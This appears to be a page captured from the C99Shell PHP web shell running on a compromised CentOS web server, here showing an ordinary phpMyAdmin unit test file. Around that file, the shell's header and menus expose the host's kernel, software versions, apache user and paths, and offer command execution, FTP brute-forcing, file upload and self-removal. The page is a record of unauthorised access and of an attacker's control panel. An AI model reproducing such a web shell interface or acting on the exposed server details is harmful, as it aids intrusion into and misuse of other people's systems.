!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/usr/share/phpMyAdmin/test/libraries/   drwxr-xr-x
Free 9.18 GB of 93.48 GB (9.82%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PMA_server_databases_test.php (8.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * tests for server_databases.lib.php
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test.
 */
require_once 'libraries/Util.class.php';
require_once 
'libraries/php-gettext/gettext.inc';
require_once 
'libraries/build_html_for_db.lib.php';
require_once 
'libraries/url_generating.lib.php';
require_once 
'libraries/server_databases.lib.php';
require_once 
'libraries/mysql_charsets.lib.php';
require_once 
'libraries/Theme.class.php';
require_once 
'libraries/database_interface.inc.php';
require_once 
'libraries/Message.class.php';
require_once 
'libraries/sanitizing.lib.php';
require_once 
'libraries/sqlparser.lib.php';
require_once 
'libraries/js_escape.lib.php';
require_once 
'libraries/Config.class.php';
require_once 
'libraries/config.default.php';

/**
 * PMA_ServerDatabases_Test class
 *
 * this class is for testing server_databases.lib.php functions
 *
 * @package PhpMyAdmin-test
 */

class PMA_ServerDatabases_Test extends PHPUnit_Framework_TestCase
{
    
/**
     * Prepares environment for the test.
     *
     * @return void
     */
    
public function setUp()
    {
        
//$_REQUEST
        
$_REQUEST['log'] = "index1";
        
$_REQUEST['pos'] = 3;

        
//$GLOBALS
        
$GLOBALS['PMA_Config'] = new PMA_Config();
        
$GLOBALS['PMA_Config']->enableBc();
        
$GLOBALS['cfg']['MaxRows'] = 10;
        
$GLOBALS['cfg']['MaxDbList'] = 100;
        
$GLOBALS['cfg']['ServerDefault'] = "server";
        
$GLOBALS['cfg']['RememberSorting'] = true;
        
$GLOBALS['cfg']['SQP'] = array();
        
$GLOBALS['cfg']['MaxCharactersInDisplayedSQL'] = 1000;
        
$GLOBALS['cfg']['ShowSQL'] = true;
        
$GLOBALS['cfg']['TableNavigationLinksMode'] = 'icons';
        
$GLOBALS['cfg']['LimitChars'] = 100;
        
$GLOBALS['cfg']['DBG']['sql'] = false;
        
$GLOBALS['cfg']['ActionLinksMode'] = "both";
        
$GLOBALS['cfg']['DefaultTabDatabase'] = 'db_structure.php';

        
$GLOBALS['table'] = "table";
        
$GLOBALS['replication_info']['master']['status'] = false;
        
$GLOBALS['replication_info']['slave']['status'] = false;
        
$GLOBALS['pmaThemeImage'] = 'image';
        
$GLOBALS['text_dir'] = "text_dir";

        
//$_SESSION
        
$_SESSION['PMA_Theme'] = PMA_Theme::load('./themes/pmahomme');
        
$_SESSION['PMA_Theme'] = new PMA_Theme();

    }

    
/**
     * Test for PMA_getHtmlForDatabase
     *
     * @return void
     * @group medium
     */
    
public function testPMAGetHtmlForDatabase()
    {
        
//Mock DBI
        
$dbi $this->getMockBuilder('PMA_DatabaseInterface')
            ->
disableOriginalConstructor()
            ->
getMock();

        
$GLOBALS['dbi'] = $dbi;

        
//Call the test function
        
$databases = array(
            array(
"SCHEMA_NAME" => "pma_bookmark"),
            array(
"SCHEMA_NAME" => "information_schema"),
            array(
"SCHEMA_NAME" => "mysql"),
            array(
"SCHEMA_NAME" => "performance_schema"),
            array(
"SCHEMA_NAME" => "phpmyadmin")
        );

        
$databases_count 5;
        
$pos 0;
        
$dbstats 0;
        
$sort_by "SCHEMA_NAME";
        
$sort_order "asc";
        
$is_superuser true;
        
$cfg = array(
            
"AllowUserDropDatabase" => false,
            
"ActionLinksMode" => "both",
        );
        
$replication_types = array("master""slave");
        
$replication_info = array(
            
"master" => array(
                 
"status" => true,
                 
"Ignore_DB" => array("DB" => "Ignore_DB"),
                 
"Do_DB" => array(""),
            ),
            
"slave" => array(
                 
"status" => false,
                 
"Ignore_DB" => array("DB" => "Ignore_DB"),
                 
"Do_DB" => array(""),
            ),
        );
        
$url_query "token=27ae04f0b003a84e5c2796182f361ff1";

        
$html PMA_getHtmlForDatabase(
            
$databases,
            
$databases_count,
            
$pos,
            
$dbstats,
            
$sort_by,
            
$sort_order,
            
$is_superuser,
            
$cfg,
            
$replication_types,
            
$replication_info,
            
$url_query
        
);

        
//validate 1: General info
        
$this->assertContains(
            
'<div id="tableslistcontainer">',
            
$html
        
);

        
//validate 2:ajax Form
        
$this->assertContains(
            
'<form class="ajax" action="server_databases.php" ',
            
$html
        
);

        
$this->assertContains(
            
'<table id="tabledatabases" class="data">',
            
$html
        
);

        
//validate 3: PMA_getHtmlForColumnOrderWithSort
        
$this->assertContains(
            
'<a href="server_databases.php?pos=0',
            
$html
        
);
        
$this->assertContains(
            
'sort_by=SCHEMA_NAME',
            
$html
        
);

        
//validate 4: PMA_getHtmlAndColumnOrderForDatabaseList
        
$this->assertContains(
            
'title="pma_bookmark" value="pma_bookmark"',
            
$html
        
);
        
$this->assertContains(
            
'title="information_schema" value="information_schema"',
            
$html
        
);
        
$this->assertContains(
            
'title="performance_schema" value="performance_schema"',
            
$html
        
);
        
$this->assertContains(
            
'title="phpmyadmin" value="phpmyadmin"',
            
$html
        
);

        
//validate 5: PMA_getHtmlForTableFooter
        
$this->assertContains(
            
'Total: <span id="databases_count">5</span>',
            
$html
        
);

        
//validate 6: PMA_getHtmlForTableFooterButtons
        
$this->assertContains(
            
'Check All',
            
$html
        
);

        
//validate 7: PMA_getHtmlForNoticeEnableStatistics
        
$this->assertContains(
            
'Note: Enabling the database statistics here might cause heavy traffic',
            
$html
        
);
        
$this->assertContains(
            
'Enable Statistics',
            
$html
        
);
    }

    
/**
     * Test for PMA_getListForSortDatabase
     *
     * @return void
     */
    
public function testPMAGetListForSortDatabase()
    {
        
//$_REQUEST['sort_by'] and $_REQUEST['sort_order'] are empty
        
list($sort_by$sort_order) = PMA_getListForSortDatabase();
        
$this->assertEquals(
            
'SCHEMA_NAME',
            
$sort_by
        
);
        
$this->assertEquals(
            
'asc',
            
$sort_order
        
);

        
// $_REQUEST['sort_by'] = 'DEFAULT_COLLATION_NAME'
        // and $_REQUEST['sort_order'] is not 'desc'
        
$_REQUEST['sort_by'] = 'DEFAULT_COLLATION_NAME';
        
$_REQUEST['sort_order'] = 'abc';
        list(
$sort_by$sort_order) = PMA_getListForSortDatabase();
        
$this->assertEquals(
            
'DEFAULT_COLLATION_NAME',
            
$sort_by
        
);
        
$this->assertEquals(
            
'asc',
            
$sort_order
        
);

        
// $_REQUEST['sort_by'] = 'DEFAULT_COLLATION_NAME'
        // and $_REQUEST['sort_order'] is 'desc'
        
$_REQUEST['sort_by'] = 'DEFAULT_COLLATION_NAME';
        
$_REQUEST['sort_order'] = 'desc';
        list(
$sort_by$sort_order) = PMA_getListForSortDatabase();
        
$this->assertEquals(
            
'DEFAULT_COLLATION_NAME',
            
$sort_by
        
);
        
$this->assertEquals(
            
'desc',
            
$sort_order
        
);
    }

    
/**
     * Test for PMA_getHtmlForColumnOrder
     *
     * @return void
     */
    
public function testPMAGetHtmlForColumnOrder()
    {
        
//Mock DBI
        
$dbi $this->getMockBuilder('PMA_DatabaseInterface')
            ->
disableOriginalConstructor()
            ->
getMock();

        
$GLOBALS['dbi'] = $dbi;

        
$column_order = array(
            
"first_database" => array(
                
'format' => 'byte',
                
'footer' => '10333',
            )
        );
        
$first_database = array(
            
"first_database" => "db1"
        
);
        
$html PMA_getHtmlForColumnOrder($column_order$first_database);
        
$stat $column_order["first_database" ];
        list(
$value$unit)
            = 
PMA_Util::formatByteDown($stat['footer'], 31);
        
$this->assertContains(
            
$value,
            
$html
        
);
        
$this->assertContains(
            
$unit,
            
$html
        
);

    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0044 ]--